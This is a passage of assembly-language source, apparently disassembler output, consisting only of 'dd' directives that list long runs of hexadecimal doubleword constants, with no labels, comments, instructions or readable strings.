		dd 890A4810h, 82ACF2ACh, 0BA44E832h, 570998E8h,	609D877h
		dd 0F710895h, 479DE054h, 12D4B6Eh, 883A291Ch, 22D98493h
		dd 0CD8C0014h, 0F8A69B39h, 4C22F88Eh, 307D043h,	9C02C9BAh
		dd 0D100C729h, 0EE882ACDh, 3BDF575Bh, 0E302503Eh, 0C0CC38BEh
		dd 0B83BD0E0h, 0D8B5E500h, 293CD9F3h, 7BEF0294h, 336D2787h
		dd 0D60ECF00h, 0D5650054h, 55BD89B9h, 10987F83h, 72E5012h
		dd 0EA1E3C02h, 0A78481D3h, 0CC20F72Ch, 0BA270152h, 0D8664F07h
		dd 822FAh, 2D8DCEFDh, 25FC4ABh,	0E387A98Ch, 6459350Fh
		dd 98032C00h, 391E33h, 0CD429ACBh, 6A209E77h, 0DFEE2301h
		dd 0DB01D82Ch, 0ED80A013h, 0C401650Bh, 0AED7858Fh, 0B6208C46h
		dd 3CF91D19h, 0A2A00DCh, 610CDFF7h, 24383F59h, 260B0C9Fh
		dd 63142232h, 0E9A8828Fh, 3002E118h, 5EC28450h,	0DAFEB0h
		dd 0E8280F07h, 7A15356Dh, 22F1DD00h, 5CBC875h, 5FCF1723h
		dd 0D08C2747h, 9BA3CDFh, 48F537E0h, 700154ACh, 0BB7394AEh
		dd 0B0664740h, 3DC92E00h, 765F910Ch, 5CA76B2Ch,	0B100F76Bh
		dd 5521344h, 54FFE100h,	0F62F8A49h, 9C2E48E5h, 9F7D047Dh
		dd 0F23332BBh, 0B85F036Ch, 0E01EB446h, 48451ECh, 39EDD799h
		dd 15588171h, 0A041F2B0h, 0D996F420h, 8066C8C8h, 0CE43F263h
		dd 3CB044BFh, 0BA0B4880h, 0C305F4Dh, 8AE199AEh,	469F62Ch
		dd 213F48F2h, 0D51CC002h, 5C1324DAh, 0EC0AB69Fh, 8C17C016h
		dd 80D34808h, 25A513EFh, 91F84710h, 0D820D84Bh,	50B43B22h
		dd 2C1D40Bh, 2B9FC4Eh, 0E8E48214h, 3C000DF6h, 0A7BDF675h
		dd 0C5AACFEh, 0C602D25Ch, 43FC861h, 0A0FC00F9h,	30B7C250h
		dd 0AF651CB2h, 0B110063Ah, 0D300D936h, 6DEB0782h, 5441Bh
		dd 2794418Ah, 1D28EC54h, 57BA9318h, 0F7B079h, 91A73BCDh
		dd 65A8821Ch, 0CBBC0B03h, 90D9A1CEh, 296DE31h, 16DFFDAFh
		dd 2C4427B9h, 0E48B9501h, 29CFD4B3h, 7489EEF8h,	0DD6C023Ch
		dd 8B548DD9h, 3DB08482h, 2E957520h, 78EB0329h, 0C0EC2A96h
		dd 0BA598907h, 0A3C0A1E7h, 65E7C0Ch, 0B385AD8Bh, 0DB2621BDh
		dd 4060CC11h, 9A98BCFEh, 3F3B3C20h, 950DFF4Ch, 3EA16EB6h
		dd 0E88B63C3h, 0B02045BDh, 80B4B128h, 0BA136D21h, 94B98471h
		dd 0D22ED500h, 17F4Ch, 79DEC563h, 9789A820h, 0A51C850Fh
		dd 9FBD0167h, 9987E008h, 64861237h, 0FF841h, 8190C8E1h
		dd 0E715CB0h, 0DE7AE9C5h, 92C09CF4h, 0D967C962h, 397F238h
		dd 0DCF09D21h, 0BEA09729h, 640B3C1h, 2885D403h,	60F969DEh
		dd 8C00179Fh, 0F46D4CB8h, 0E469349Fh, 895CB484h, 1A80EAA5h
		dd 435B81Eh, 0DE8BD900h, 0B445BA14h, 22EC2830h,	0EEDB3C5Ch
		dd 8988105Ch, 747EC040h, 13DB05B8h, 38FED3Ah, 0D3F64FC4h
		dd 4220D9B8h, 0AE1840FFh, 4D008307h, 7F4422C0h,	52373F9h
		dd 962F39F6h, 9F20803Dh, 0BB139795h, 895B163h, 0BAB9A005h
		dd 8E572400h, 112E7A9h,	7D23DDC2h, 0CC6B37B7h, 5648BABDh
		dd 0B4BF2608h, 700BC11h, 0EB684811h, 0E0094EFFh, 0C4876A7Ch
		dd 996E0054h, 67AB6BC6h, 0E0009F64h, 0E7209D74h, 0F249438h
		dd 177A59D3h, 8A1579Dh,	5F8037F4h, 0CA7A451h, 17D625B6h
		dd 8889890h, 0FD5F4805h, 0E82224CFh, 0CD6C60CCh, 7D430058h
		dd 0DD917036h, 0E8A0B2CBh, 0BC5C0692h, 0B89A03C6h, 803D11C2h
		dd 7D1C2C1Fh, 0E5563FD6h, 0B382BE8Bh, 7BCD2B03h, 62325927h
		dd 6C595Ah, 79DDD40Ch, 3B0BC442h, 125A4Dh, 0A8B32B8h, 2987E384h
		dd 5015BD45h, 2D9886B6h, 5F675C94h, 13C50D20h, 0A49E3Bh
		dd 0F4B7EB20h, 0B02D029h, 84E9608Ch, 6AA8609Dh,	483490E5h
		dd 0C6C0ACB5h, 2BB3719h, 188DD4Ch, 34D6F3DCh, 1617FA4h
		dd 0EBDA84Ch, 0AD5B0C8h, 56E15760h, 0EA0061A0h,	0DE808A98h
		dd 0E9ACF0h, 4CB7D7F5h,	913BC542h, 5AEEF00h, 5C7F9903h
		dd 77A2A6Eh, 313230C0h,	21F7A7F0h, 4766EE09h, 3E24665Fh
		dd 20052D48h, 823C94D9h, 38F1C060h, 7E7D5A00h, 26D3FBFh
		dd 2DB280AAh, 0D483D434h, 0C2ED17B8h, 5864E629h, 18B9D23Ch
		dd 2B0848D3h, 0F7B700F1h, 1A0F94Ch, 8A4983A7h, 7FDE0060h
		dd 24F24A70h, 8E1D0025h, 309F9810h, 0B50450AAh,	0BC7A3E02h
		dd 0D10558A3h, 2C6A5A4h, 0D838E4F4h, 10556041h,	1F7DC1E9h
		dd 0C04FC645h, 0F7D9B383h, 0FD5B2E0Bh, 34A51420h, 795700DCh
		dd 0B9AE80E2h, 88A86FB6h, 0F91CED4Ah, 0B06EA5D1h, 0AC583160h
		dd 0B0610188h, 0D33866B1h, 0FCB7F011h, 0E164F805h, 0E0E23058h
		dd 0C4C0BF00h, 0E795334Bh, 1436C804h, 0C0E21124h, 65383400h
		dd 3E4ACCF1h, 51174504h, 0A888261Ah, 3F7B0022h,	0CCABC776h
		dd 7A1D79B0h, 2131B116h, 1860FCD6h, 61452675h, 67F201EFh
		dd 51A6E3D8h, 382D20C4h, 2A3717CCh, 7F670C20h, 4AAE00FFh
		dd 7187D520h, 77F0A23Fh, 8ED1C928h, 0DC503828h,	0A004A79h
		dd 0DB1C7BC7h, 0B62DF4h, 0B0B80405h, 47482BE1h,	927CD15Ch
		dd 24FB40Bh, 0E401DF68h, 150207ECh, 80363825h, 1C82B5C3h
		dd 0C6854200h, 6DA4C749h, 0CAD400DCh, 0BA3509A5h, 60E03CA1h
		dd 0F81448h, 0EAF8A07Ah, 1B1CE92h, 2373F4Fh, 0C0AAD9EBh
		dd 0C5603B85h, 59536578h, 0F0A254B8h, 6113007Ch, 0D1B4DD36h
		dd 0E0492950h, 0D5CE0744h, 0BE40B8ACh, 485E7254h, 0A92C781Dh
		dd 94426308h, 4441C780h, 5975358h, 0BA0E9EEAh, 0D8653000h
		dd 75FADD14h, 0CF930157h, 10EC07B7h, 16BC2691h,	2C902A35h
		dd 413A06h, 54BC3EEEh, 2A357DAh, 0F9AA5502h, 0E0199288h
		dd 7D63BD34h, 8389518h,	0ED0375CFh, 2A6C057Ah, 0C7617C3Ch
		dd 884D2630h, 0C300E491h, 783DA97Fh, 0D400D5F7h, 0ED8EC298h
		dd 2FB8992h, 11762C2Dh,	80E45B47h, 80848D4Ch, 8ADB291Ch
		dd 233900A2h, 227F7102h, 0EC7AF173h, 534078BEh,	26CB0Eh
		dd 0A595C67Dh, 0B6BBB390h, 50C0BC00h, 193C149Ah, 403512F4h
		dd 8E7888D5h, 5CEF900h,	4F2FF8C3h, 0D8A20CF1h, 0BF81F7E4h
		dd 38EC4BEh, 0D35DE08Ch, 177D97C1h, 0B28ADDh, 0E6E8489Dh
		dd 0BC00FA74h, 1C36CAB7h, 272952h, 0AB10DF07h, 8C3CD177h
		dd 0B00047F8h, 0BA38FE66h, 1F72A731h, 0EC8ECB46h, 19D40FA8h
		dd 8AE007Eh, 337E27D9h,	0D2CF000h, 0ED9F5BD7h, 44B91620h
		dd 8CBC3087h, 90001E09h, 0E005C9EBh, 17D86BFh, 0F0DCD188h
		dd 505A02A6h, 0FB99F7C4h, 0B003FFCh, 0DF665CCBh, 4F6AF08h
		dd 18D5D207h
		dd 0F4E28Bh, 0A70C684Bh, 8487CEh, 6F490339h, 0D14499EAh
		dd 56DA8518h, 2EA2C959h, 1D9F0B0Ah, 0F517FBDFh,	0F43902F9h
		dd 0E46110EFh, 32A850A5h, 80007399h, 8D2DECD1h,	20E7B18h
		dd 726EF2F3h, 6C528316h, 0A4229001h, 56C1A28h, 39FD30C0h
		dd 6985BDEAh, 0C0ED3614h, 0C0F1DCACh, 0DB22600h, 89BD08AAh
		dd 0AF1C1F31h, 329C50h,	0D4B00137h, 84240D82h, 0F08018E2h
		dd 0F71631A9h, 1C32B8B7h, 1832B7Bh, 525F3093h, 36422A5h
		dd 2055DA57h, 8205D0D8h, 19C30451h, 0C0851D7Eh,	958C6C57h
		dd 2513ECB0h, 0C882D2FEh, 2ACD1B7h, 1CDDF7A2h, 0F8A560E0h
		dd 0DF383975h, 3016FA8Ch, 9801432Ah, 3B8A475Eh,	0ECC128CCh
		dd 2BDB1254h, 670C00FCh, 0E8D89241h, 3CA49355h,	34A8028h
		dd 3B2251h, 0F373DB59h,	0A6F5CF12h, 0A2F8ED01h,	747F247Ah
		dd 0BC05EC60h, 92AB4040h, 0B313BD8Fh, 9F05E6B0h, 0A4809DA3h
		dd 4A65D888h, 17827B8h,	0DC81ECCCh, 7E003AB9h, 0A4D601FFh
		dd 143BDC8Dh, 2CA52CB7h, 0D1087100h, 0B021AFE6h, 0CF2F8CEEh
		dd 4B1C106Ch, 0D9EA00AEh, 9B726AFCh, 96006134h,	53E6B5Dh
		dd 0F4F8B936h, 0BBBA01CBh, 5C5ED6DDh, 16785355h, 7A5C3Fh
		dd 0EE2E2023h, 48CC7Bh,	2C30E4Dh, 19A0E0E3h, 8CF49095h
		dd 0A8900C1h, 286A776Bh, 2095D69Dh, 0CDBFA0E4h,	0E9E51E05h
		dd 0D626B2h, 0D6D50FF1h, 93E20C80h, 222CA602h, 6008A038h
		dd 391C19D0h, 2E056BB5h, 0CC604090h, 45FCD7F8h,	71089A97h
		dd 56960114h, 0D407C27Bh, 0CA006E97h, 0D18F713Bh, 0B508DDh
		dd 2FD5983Fh, 0B9C4FA79h, 0C8D42824h, 0F4355860h, 97D7095Fh
		dd 0C8983693h, 83079BB5h, 82606631h, 9080BAB8h,	0F8C22057h
		dd 0D001ABFh, 0ABEE0EA7h, 8C61CDh, 317D01CBh, 0A6D2620Bh
		dd 13A5BB00h, 43B33CA2h, 780097C8h, 5CF62A82h, 869F0113h
		dd 489E6C00h, 1C769C9h,	8141C322h, 6819B0D8h, 25291AF4h
		dd 0EC3841B1h, 26D6ED0h, 38B7D50Dh, 68402B16h, 493EBDE9h
		dd 34B2004Ah, 5E6B109Ah, 0A80494D5h, 0B8A5FEDCh, 0CB680C24h
		dd 6A14EA87h, 77504D00h, 0A1916329h, 3BC0014Ch,	3CDEF4A9h
		dd 32B1EDACh, 7C0126D8h, 3512AE40h, 0A10F1C11h,	0C86E0020h
		dd 0F44E0424h, 7BBC3Dh,	0C1F228EEh, 24C954C5h, 8084B93Dh
		dd 0B4DFC815h, 672CFC30h, 6028F04Bh, 0B600B07Bh, 2DDB8C44h
		dd 2EF1D3E4h, 0C0405F40h, 0D52E7E4Ah, 76D2CE26h, 50800429h
		dd 9A29D12Ah, 3F8C00A0h, 371A8A87h, 926E1AFh, 5F006062h
		dd 20EE02A1h, 494A4A40h, 0A0C88408h, 1E0CACAAh,	30B8D6E3h
		dd 1CC0E45h, 9012680Ah,	0A48D0514h, 0B7A8E500h,	0FD5ECC5Ah
		dd 77FA79E3h, 0ADB200B3h, 0C32E34C8h, 9A0768DDh, 26EC2DF1h
		dd 4838417Dh, 0F458D480h, 9F004808h, 3B992C0Fh,	0C4EB3h
		dd 0C8260AD0h, 0BACEB685h, 0E1CB6C0Bh, 29FC9012h, 0D4212628h
		dd 5DA704D4h, 4CB8A4BBh, 0EA4F6C07h, 89F0A0E3h,	0CAAADEh
		dd 62C3BB75h, 0EE28AC6Ah, 0E04424B8h, 0F5291D7Bh, 68D640A0h
		dd 0B1C7D9C4h, 0BF39A30Eh, 6827C981h, 116070h, 57F97519h
		dd 84CB4112h, 7A145009h, 40A81018h, 738935Ch, 12F10348h
		dd 0B8C041FCh, 62E78246h, 23D90018h, 55A29913h,	5B85031Bh
		dd 287EE40Fh, 0E8D4E3B3h, 0C4DA80F4h, 0EEB8B475h, 897900CBh
		dd 1EBC7F1Ch, 2D0066A3h, 0BD0A24DAh, 177AAB4Ah,	0D02A48F2h
		dd 95D3B750h, 0A7830100h, 65FD9DA1h, 9BBB0046h,	73B8A3A9h
		dd 0F8780241h, 970190B9h, 0E649EC94h, 2EE7FC8h,	14287AB6h
		dd 54F1D91Fh, 7C5B8F3Dh, 64D62733h, 58FC4979h, 3CD4E4h
		dd 8A53B528h, 0D8902B36h, 0B900EBE6h, 37F38E88h, 5BA2F93Eh
		dd 0EFA433BAh, 56D918D8h, 47803891h, 0ABA39049h, 769E07FEh
		dd 402FA248h, 33AA4A38h, 85B2F31Eh, 689AB049h, 0E68C2E8h
		dd 3613BE0Eh, 0D928F240h, 8518CFB2h, 0FA59E63Bh, 561A00D0h
		dd 0A948EF8Ah, 0AA02AD88h, 763C76Ch, 44505286h,	43C4D2Eh
		dd 3FEC01EAh, 977F3401h, 905CFD20h, 1DFE99h, 5A368E1Ch
		dd 5B6C356h, 40BEE409h,	0A2904B53h, 0F844E4AAh,	0EC6F48D4h
		dd 48E112C1h, 16422B8h,	7B502C5Ah, 16E406C4h, 1F782Eh
		dd 81766065h, 1CF4538Eh, 4E9FA818h, 0B364540h, 0D45FC0EBh
		dd 47127066h, 0F8F49BA1h, 0D7C400C3h, 0A07E1A04h, 500CAE3h
		dd 314890Bh, 2665860Ch,	87A044FAh, 0D018BDF7h, 2F15EE2Ch
		dd 0D6EA9102h, 449BA2C4h, 1A780060h, 0D4136301h, 0AD0049BAh
		dd 0A1410283h, 12F7C56Ch, 24DFCBh, 0D2446F48h, 0C700173Bh
		dd 343DF3D0h, 0BD354AAh, 0AF8AA732h, 40A4708Fh,	4A4A2C8h
		dd 0D1DE715Ah, 5BF404C0h, 0CEB8077Bh, 0E0839274h, 4BD82A36h
		dd 1C59D0AAh, 2281E700h, 3D5A43D6h, 0BD80B3ADh,	1B20ED34h
		dd 7A16161Ah, 68405B05h, 3A6A8B40h, 0E5F6013Fh,	8E297949h
		dd 0D53C3093h, 32EB3B04h, 0FCA8AEEEh, 677DF74Ch, 90ED6961h
		dd 1C91A2D6h, 48FD2F00h, 0E4A61D31h, 45262435h,	4FF503F8h
		dd 0A99485D4h, 7A420924h, 0CF85119h, 45513527h,	9D51BC00h
		dd 0A0DD6FB1h, 0F9E60004h, 0D9DF4BF4h, 0EA005A1Dh, 93EC997h
		dd 0BE8DB8C8h, 443480F0h, 9B8BF81Ah, 0CB183A03h, 0C02D2E37h
		dd 0BD3236Eh, 0FD9BE1Ch, 9AF0A898h, 0D7566D00h,	0AD9666E7h
		dd 0B37E0B7Dh, 6009EA06h, 0FC515D09h, 8801D016h, 0ADC670B9h
		dd 0B4249AF1h, 257D00E5h, 6E46E9BCh, 28C1DC9Fh,	7DAA2EEh
		dd 0D81DB03Fh, 51409094h, 52ECC2h, 9314AEC9h, 0BB172083h
		dd 4B55780Fh, 0A13CCC3Bh, 0EF1A0359h, 2BE1EB8Ch, 0A3A880F4h
		dd 86E8B7EEh, 0C5F14Fh,	0D11FFC09h, 39813DBCh, 0D9EC4D68h
		dd 0B2C0FF98h, 0E8042726h, 76F63664h, 7000A4F2h, 0C4168524h
		dd 89004492h, 8FAF1381h, 252A6FC0h, 449052DFh, 820FF5D3h
		dd 0D23B1B31h, 0C08B0022h, 621573h, 0BC0736DCh,	6788E777h
		dd 0E4B30402h, 5E021612h, 505E807Ch, 0F7BD862Dh, 1C4E9A04h
		dd 1CE885B4h, 302C4280h, 0ECE4883Ch, 628C1097h,	0A0C63E85h
		dd 7675104h, 80F8E835h,	0DE64F3CBh, 88AD0112h, 1F4727C2h
		dd 7CB9E93Fh, 8E2F1744h, 1C2B7C40h, 2E9D9648h, 46C31DAh
		dd 40A2A505h, 6F8C54D4h, 0B82405C0h, 0C33FAE46h, 7A93CCB0h
		dd 60D455B2h, 1488D745h, 464700A1h, 7C72E1EAh, 78000134h
		dd 264A8DE3h, 1CB3AA1Ah, 23D0CECh, 0BD7A2B69h, 0CE402481h
		dd 30CC3947h, 0F55FD1E1h, 15EF00EAh, 749B7734h,	0A7009A69h
		dd 0F642ACC4h, 70E8643Ah, 0F96F193Ch, 2B6B1066h, 48047420h
		dd 0C9A1E3Bh, 0FB28408Eh, 9663147Dh, 25E8000h, 0C2160D2Ch
		dd 1C20B5BAh, 64873E9Eh, 745A3F01h, 7C3A0E73h, 110B7C0h
		dd 0C03CDE69h, 4054BC63h, 33DC035Ch, 74050898h,	0EFE1EC24h
		dd 0F3D2E8F4h, 592AE242h, 0EFD10114h, 3044ACFBh, 1CF4D7D5h
		dd 704C8205h, 0F800DF0Ah, 0DE938514h, 17D9E4A9h, 8A1DC9Ah
		dd 63866FFCh, 97B1A004h, 0C83EB431h, 16015CF4h,	8567B53Bh
		dd 0E478C61Dh, 0CCA8A688h, 1B2C1000h, 0B23CA12Ah, 0CF62567h
		dd 790E7444h, 60B15Eh, 0DE6ACDF5h, 0AA2D02E3h, 0BB67BA99h
		dd 0B57CB472h, 3B5FE500h, 369ECD69h, 6D843D6Eh,	28E9FB89h
		dd 7C1E9044h, 0A35EE4CFh, 9A1C3740h, 5E5613C9h,	0DE9C2045h
		dd 0A9010510h, 0EDECB706h, 0B878B0A2h, 60FF039Eh, 0B9F1CACFh
		dd 80D86CE1h, 51CB07FAh, 42C10F5Ah, 4A89FF28h, 14059866h
		dd 84A4F482h, 27F69C40h
		dd 30BA552h, 68EE884Dh,	0D4C04276h, 4003DC3Ah, 85ACB720h
		dd 1C1BEB3h, 4EB6A734h,	40D6F92Bh, 3F0A9B4h, 0C068934Ch
		dd 149C96Ah, 0DFB20091h, 4A4E678h, 0E4728777h, 3C859E08h
		dd 0E947804Dh, 0EDFC3BDFh, 44B73105h, 48883BDh,	77B50089h
		dd 0E0D2B888h, 8C1C282Ah, 0B380B23Fh, 0A584E84Dh, 0C056F279h
		dd 2F89B931h, 0D6F8203Ah, 7AAC48A0h, 4B564300h,	2C2A8DE7h
		dd 0A46A0025h, 0C129CD60h, 1097BAD3h, 0BBF7584h, 23D58AD0h
		dd 0CAC7800h, 0F4E29CAh, 507E820h, 0B5701EEAh, 0D5F70116h
		dd 0D0307C93h, 4100888Bh, 0C7A1DA1Eh, 9559DEEh,	84424347h
		dd 0EF1D74F2h, 0CCC2066Dh, 606CBEF0h, 99F59Ah, 0F2FFA5E8h
		dd 0EE2E6BA7h, 913C8D17h, 0C91A1400h, 2A68149Fh, 4427E9h
		dd 5623CCD6h, 69C91084h, 0A5F68772h, 0E110A150h, 78860F02h
		dd 71AEA99Bh, 3EA61E64h, 42B4A800h, 78B6DFC8h, 0C000185Ch
		dd 62B28D03h, 28DD2D3Ah, 0FF3C6064h, 76640154h,	36F5DF5Eh
		dd 0C0C76C60h, 0EDB74008h, 1AE26722h, 0A0BA2127h, 0C5DA3444h
		dd 57B40081h, 800E55E2h, 9513C874h, 0E2015C48h,	0DFEC089Bh
		dd 0DB6916E3h, 39E0A3E4h, 0D8EC0881h, 20B193BDh, 4C651D04h
		dd 8EE1A715h, 0EBFD0054h, 0DAC1B6B1h, 31960177h, 99698BAAh
		dd 10402A9Bh, 4E6456EDh, 57740023h, 17931DC5h, 1B0944D5h
		dd 648E26E3h, 6F961F88h, 74BC83CDh, 0D8C04EA7h,	0D73A913Eh
		dd 5801ACF2h, 0E4F0234Eh, 0B920F7B8h, 5F1BB1Dh,	11A8D9DCh
		dd 0E54A2ABh, 202F90E6h, 21407537h, 0B7F7043Fh,	0B2492C3Dh
		dd 741D00DCh, 820D68FEh, 0F0A9ECDBh, 0A7DD0243h, 46E12072h
		dd 0FB4044DEh, 125479A6h, 0B1246Ch, 3BC8FA41h, 1A2C8239h
		dd 1002788Fh, 80BA08A0h, 2D563A30h, 811800A3h, 73160170h
		dd 31009F8Bh, 0CEF3D3AEh, 802A12E1h, 20B5BF9Ch,	2C06CB8h
		dd 5707603h, 0AB04DCE0h, 0D840800Dh, 64B0812Bh,	48636D44h
		dd 2884E818h, 356C818Ah, 475AD02Dh, 505E664Ah, 784080E6h
		dd 0CE1AD9h, 0C9DC2FD4h, 0D6447142h, 0B5DAD201h, 3B84C08Eh
		dd 77009833h, 0E7809F70h, 0A600CEB9h, 6D950FE0h, 4AD87A19h
		dd 972C40FAh, 4E6CF845h, 0DCCE9A0Fh, 2746FE46h,	1D9D4ECh
		dd 0D9DDBD59h, 9D7837D2h, 133BFD0Ah, 0DB00A8D5h, 83C3BEDAh
		dd 0D6B00FAh, 26D330B2h, 730910DFh, 103B85A1h, 289C904h
		dd 6E5377C0h, 6C46222Ah, 0CB442B01h, 0CE08A25Ch, 10B5BED0h
		dd 915340h, 3BEBEEE2h, 911B7A30h, 0BCD902C8h, 4CC4A50Ah
		dd 4094A3Bh, 0FBE4395Dh, 0AA4374C0h, 70824913h,	329FE180h
		dd 5F016855h, 5A6101F4h, 4AC47A1Ah, 20E64FE4h, 0A750101Ch
		dd 98005678h, 8EDADF06h, 584704C8h, 0FCC720D4h,	0C8D7F5EBh
		dd 499154Ch, 36137980h,	909E0E7h, 3B42818h, 7AF7F780h
		dd 0D4B16B26h, 516F5B0Ch, 0C0EC160Ah, 791CD0E3h, 0D95F3576h
		dd 0A8B94823h, 9AEFEDh,	53D46EDDh, 795B3AF5h, 2C34B548h
		dd 770418A2h, 0CA21E84h, 23DED73Dh, 0B6D0BFC4h,	31FCE07h
		dd 0CA808BB1h, 7A6875E0h, 50689C62h, 3D00A1D4h,	98A71693h
		dd 0E8B90126h, 0C2970060h, 0E5D3F99Eh, 0ED047F48h, 5C4094E9h
		dd 2F6328F4h, 0C8A45E62h, 607E4FC6h, 6DEE9EB2h,	0A26E01B8h
		dd 4469F279h, 0F645F085h, 0CD481C0Eh, 3C88E1h, 0A18E799Ch
		dd 14E0C04h, 0ACA3F840h, 0B8DDDCF7h, 62460008h,	7C8CCFE7h
		dd 6D1D0576h, 300B7E5h,	0D371D75Eh, 0B87F256Fh,	5095A068h
		dd 0B0283901h, 0D1822936h, 0B4887095h, 0E5DF3279h, 44F22A69h
		dd 556A100h, 9E86ED2Fh,	38CA0049h, 0D32B8F5Ah, 871444CBh
		dd 899C2885h, 27D868B1h, 189778Bh, 233E608Fh, 0C87341A3h
		dd 0EC00EA0Dh, 0B9A1CC2Ah, 3AB81C31h, 5E00C872h, 35935D2Bh
		dd 0D22ECEBAh, 5F05FAFBh, 74BC486Eh, 31D1D980h,	0B00581A4h
		dd 4EACC5F3h, 5C1A52C0h, 0CA373098h, 0D1EAD4FCh, 2B954100h
		dd 0E5EC8C2Fh, 560B00A8h, 4220AE0h, 0EE00782Eh,	0FC6E517Dh
		dd 6D1E52Fh, 3F37D4F4h,	3E0040FDh, 0CD2C88F2h, 0C40531h
		dd 48409BF7h, 0BB0DE2A6h, 0D1AB5818h, 0FE2E68h,	197818CAh
		dd 1A2939B4h, 6646840Fh, 8C9620A4h, 11CAD1C2h, 1654FDh
		dd 9BF33F47h, 6CCF683h,	237E188Bh, 0F4055019h, 0D9531D24h
		dd 0FE6A7480h, 0E0F9399Dh, 0DC943078h, 1371EA40h, 0EE93D100h
		dd 0E9F1D5Ch, 4673007Ch, 7958696Fh, 5628FDD7h, 27606CDDh
		dd 990D1839h, 59062496h, 1A09003Fh, 9F57D14Bh, 0F8EC6700h
		dd 3452B7C4h, 276503FDh, 3EE87B72h, 48B9EF3h, 0C52B0AA0h
		dd 0DF87717h, 57591118h, 234D00FBh, 1A95A061h, 0E4073763h
		dd 0EDFDC5E8h, 87793B22h, 44F3BD70h, 513805FBh,	252D3E09h
		dd 0E6DB07BCh, 0CC6F129h, 308F71ACh, 69C08C4Bh,	0C2C87666h
		dd 655100F6h, 0F0A005BCh, 0C700BE7Fh, 0A60FA149h, 0D6A7608h
		dd 0C902AA1Dh, 723EEC39h, 9396A100h, 3834A858h,	0B5CC0048h
		dd 86C41DB1h, 1B159E6Eh, 0FECCE21h, 0A061AEA7h,	0E09250ABh
		dd 607D7A8Fh, 9BD15158h, 700037A0h, 0C3EDD3ECh,	3BD0304h
		dd 200C6692h, 79987A45h, 0BE139FBFh, 0EBB088B7h, 3977DB6h
		dd 130582D3h, 51002403h, 0D580595Ah, 8C74CEh, 83C8F107h
		dd 27297D5Dh, 2373B30Ah, 0A880A0ACh, 9A179CBAh,	724F895h
		dd 0AA4E11FCh, 0D03780FDh, 0A639B7A3h, 23F013Bh, 2697D6E8h
		dd 825E03FEh, 0AC34E100h, 3EE90338h, 2BF50F44h,	0D08DF8h
		dd 0EF12B202h, 0B56210h, 96F5B7F6h, 0CD53F9C2h,	140141C2h
		dd 0E88898B6h, 0CF2C002Dh, 793012BCh, 0B00347Bh, 0B5A4537Fh
		dd 0C6A00F82h, 6910FCC1h, 9DB35100h, 2605F2E5h,	832A074Ch
		dd 7C018632h, 3C008759h, 6311703Ah, 30EFC4h, 2E94C9D8h
		dd 9CA1091Dh, 2A0B512h,	81E4420h, 0B77A000Bh, 27573206h
		dd 150704B1h, 29BEF7A8h, 91FC7B30h, 7EA400A6h, 543C5E69h
		dd 5490C764h, 3782248h,	6BABEB8Ch, 0EF829508h, 0B8FCB379h
		dd 13DB410h, 50C5BE8Fh,	0D0F29E69h, 0E1DDAB47h,	0A57584C0h
		dd 3A85145h, 6F20A259h,	2103AF47h, 0F51ACA8Bh, 8FDE0034h
		dd 0D3E532B9h, 8228B218h, 54021452h, 0F9734A28h, 7C989117h
		dd 75891F0h, 0BC270A1Bh, 1805153h, 43A010D2h, 643D00FEh
		dd 0D9289EBBh, 120427F3h, 61C2A68Ch, 73BC88h, 0CA901F19h
		dd 6C0B516Bh, 897FE01Dh, 583CD0F0h, 0AAF4A880h,	2D010037h
		dd 953BAE3Ah, 2300B191h, 1DFD2972h, 40696Eh, 651F2D2Bh
		dd 78AD0D0Eh, 0A7A0E318h, 71406E41h, 88B21823h,	0F5B9C9E6h
		dd 0F41A5E27h, 51FB00C2h, 0A4F7E5ABh, 0A853C900h, 0F40C90BCh
		dd 0DD2E2687h, 9F6B0066h, 0D32D040h, 17AE5400h,	90D8F410h
		dd 25670013h, 0D95CA8A0h, 0CB3BDDB7h, 8BC003E5h, 90C36A7Ch
		dd 300ED5F4h, 3D59DB68h, 4E207E5h, 418C7100h, 6096C18Ah
		dd 55AB1C06h, 4915414Fh, 20452E46h, 0D18C24Ah, 2370F3F6h
		dd 0FB7009Dh, 748F3832h, 2E06B08Dh, 0C5600EABh,	38375C61h
		dd 53B7A061h, 0C457D04Ah, 0DFAA6201h, 0B91DFE0Bh, 0ECEF2180h
		dd 8114458Eh, 987D7F00h, 0FF04500Dh, 0C9393036h, 0B8C42951h
		dd 0CF2B6C00h, 1B2A503Eh, 1C87AD0h, 0E7DA0B9Bh,	0E7ABB44Ah
		dd 93D33100h, 0DB22648Bh, 0CCF33FBDh, 9B7F5B80h, 24086157h
		dd 0AE8D6900h, 92A3DD72h, 703651C2h, 65E9CF0h, 207C9449h
		dd 0B2F85088h, 333F58h,	31691B4h, 34E6655h, 0CD87A12Ch
		dd 74F2BB4Ah, 0C1B85881h
		dd 51BC2Ah, 0C4C20FBAh,	5C4B65C0h, 797C3Ch, 1E63D943h
		dd 0EF592597h, 8610320Fh, 3934FFB6h, 81C88E81h,	7C606731h
		dd 88130CEAh, 0AC21E676h, 6100B8A4h, 1AB429E2h,	719E3EC9h
		dd 8C793E22h, 0A599F101h, 40B5E656h, 3F63D4ECh,	5F7EFC73h
		dd 547049C0h, 1D3655h, 0E2B1A548h, 6D3B2CD2h, 6C0AFD7Ch
		dd 0D818CFA4h, 0F3AA9080h, 1B0A1DCh, 0ED15429Fh, 0DC0557D4h
		dd 67188994h, 4D59E460h, 0BD9B0F64h, 0FACAC288h, 72078688h
		dd 0AD0CB9D5h, 31DE25C1h, 2B1B2474h, 9A070044h,	911E2D8Eh
		dd 84FEC0A8h, 0A6737101h, 9440EF09h, 978019BCh,	38CD58B8h
		dd 0FB0355D5h, 0FE93C51Bh, 11BFC939h, 33BEC48h,	65D1B53Ah
		dd 19510A0h, 4D8EB40Ch,	12DBF8D5h, 0B14AB300h, 673AC7A3h
		dd 23C11398h, 0D07F0083h, 444BE30Bh, 0E41CC0A4h, 0E00E29Fh
		dd 949C63EDh, 2E7904A7h, 812583F2h, 0BC922094h,	8501FFA9h
		dd 7C6E31F1h, 0A850B71Dh, 0C438BFh, 0C9D4B961h,	0B66CDD59h
		dd 42116507h, 0EDEAAA79h, 3FC18900h, 9067AFB1h,	8ED903B8h
		dd 9BC32201h, 9C80C9EEh, 4C1EAB2Dh, 120BE39h, 279DA391h
		dd 0E074E82Fh, 0C10581B6h, 4D3661D5h, 94BDA408h, 0ED002418h
		dd 0F17D5291h, 0B4A64FEEh, 0F9C34530h, 3FC90466h, 0FE8FD268h
		dd 7CC0718Eh, 265A7BE1h, 61DEE900h, 58C529F6h, 0A8B2F0FEh
		dd 8C9C78h, 9D418173h, 0E436F010h, 1C1E1A18h, 8F2669h
